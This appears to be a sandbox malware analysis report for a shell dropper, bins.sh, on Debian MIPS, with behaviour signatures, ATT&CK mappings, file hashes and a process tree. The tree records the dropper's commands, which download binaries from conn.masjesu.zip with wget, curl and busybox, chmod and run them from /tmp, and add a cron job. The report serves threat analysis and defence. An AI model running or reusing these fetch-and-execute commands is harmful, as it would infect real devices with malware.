144f5672af2c29c1ea3d4bfb0047806051d2d431f93295d74ae25cae1062326e

Analysis

max time kernel
140s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24-11-2024 00:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

b00520b81436571f9d68b3b03239fce8
SHA1

743af9d3dc86e980ab8fa05c689f8434920bf1d1
SHA256

144f5672af2c29c1ea3d4bfb0047806051d2d431f93295d74ae25cae1062326e
SHA512

787a60732a86201c95ca447bd67f77ddf05cc0fc71ecec250a697e7faf0d33e1094452ab088ad3c98f6eeba8edbdbebf61d06efb1aeb262365f9ad8c69f0a85c
SSDEEP

192:tz5NhOHvcEdIUg89lmvLw7lP/5RqTfkIUg8NhOHvmR5RqTfI9lmvLQg:tz5NhOHvcEdIUg89lmvLw7lPNIUg8Nh6

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1844) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmod

pid process

735 chmod
759 chmod
894 chmod
911 chmod

pid	process
735	chmod
759	chmod
894	chmod
911	chmod

Executes dropped EXE 4 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNVChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

ioc	pid	process
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	736	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	760	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
/tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO	896	ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
/tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c	912	0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

Renames itself 1 IoCs

Processes:

7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

pid process

761 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.OwJBVO crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
761	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.OwJBVO	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNVcrontab

description	ioc	process
File opened for reading	/proc/928/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/19/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/797/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/864/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/926/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/669/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/867/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/879/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1019/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/916/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/921/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/935/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1011/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/700/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/773/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/824/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/860/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1046/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1020/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/12/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/806/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/923/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1008/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1023/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1080/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/802/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/810/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/819/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/994/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/13/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/830/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/849/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/944/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1017/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1026/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/20/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/798/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/825/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/836/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/868/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/890/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/844/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/865/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/886/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/943/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/2/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/695/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/775/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/791/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/974/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1071/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1073/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/917/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/956/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/959/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/962/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/777/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/843/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/859/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/905/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1015/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1063/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/835/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

System Network Configuration Discovery 1 TTPs 14 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlbusyboxbusyboxcurlcurlwgetbusyboxwgetwgetwgetcurlcurlbusybox

pid process

900 wget
920 curl
734 busybox
869 busybox
731 curl
863 curl
780 wget
903 busybox
919 wget
710 wget
739 wget
902 curl
740 curl
754 busybox

pid	process
900	wget
920	curl
734	busybox
869	busybox
731	curl
863	curl
780	wget
903	busybox
919	wget
710	wget
739	wget
902	curl
740	curl
754	busybox

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxwgetcurlbusyboxbusyboxbusyboxwget

description	ioc	process
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	curl
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	busybox
File opened for modification	/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	wget
File opened for modification	/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	curl
File opened for modification	/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	busybox
File opened for modification	/tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO	busybox
File opened for modification	/tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c	busybox
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:710
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  PID:738
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  ./7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:760
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:762
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:763
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:766
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:767
- /bin/rm
  rm 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  PID:776
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - System Network Configuration Discovery
  PID:780
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - System Network Configuration Discovery
  PID:863
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod 777 ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  ./ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  PID:899
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:903
- /bin/chmod
  chmod 777 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  ./0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm 0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
  2⤵
  - System Network Configuration Discovery
  PID:919
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/L6tpjuFHbVoEVxRLuKZSsnBV1UKSkHigLl
  2⤵
  - System Network Configuration Discovery
  PID:920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/0yNctI7WZrUMyKwsvZHMHW5O86VGUkwr2c

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.OwJBVO

Filesize
210B

MD5
b78333c17e47e5898caed1089707ae63

SHA1
08b0cd48543bd4701943f789c632fd8ea294b178

SHA256
fd9d9264b4e92e88f58b9112dff025a2753f7d87dfd26d305e9d948cd17fdda9

SHA512
44c181ce3b10ab796febc042678abd69206640b16f5dcbd8596a5984ff270483094f3bf71a5020105f466baca1cfd1653137bf305572efa1b90897e56437b051

Download Submit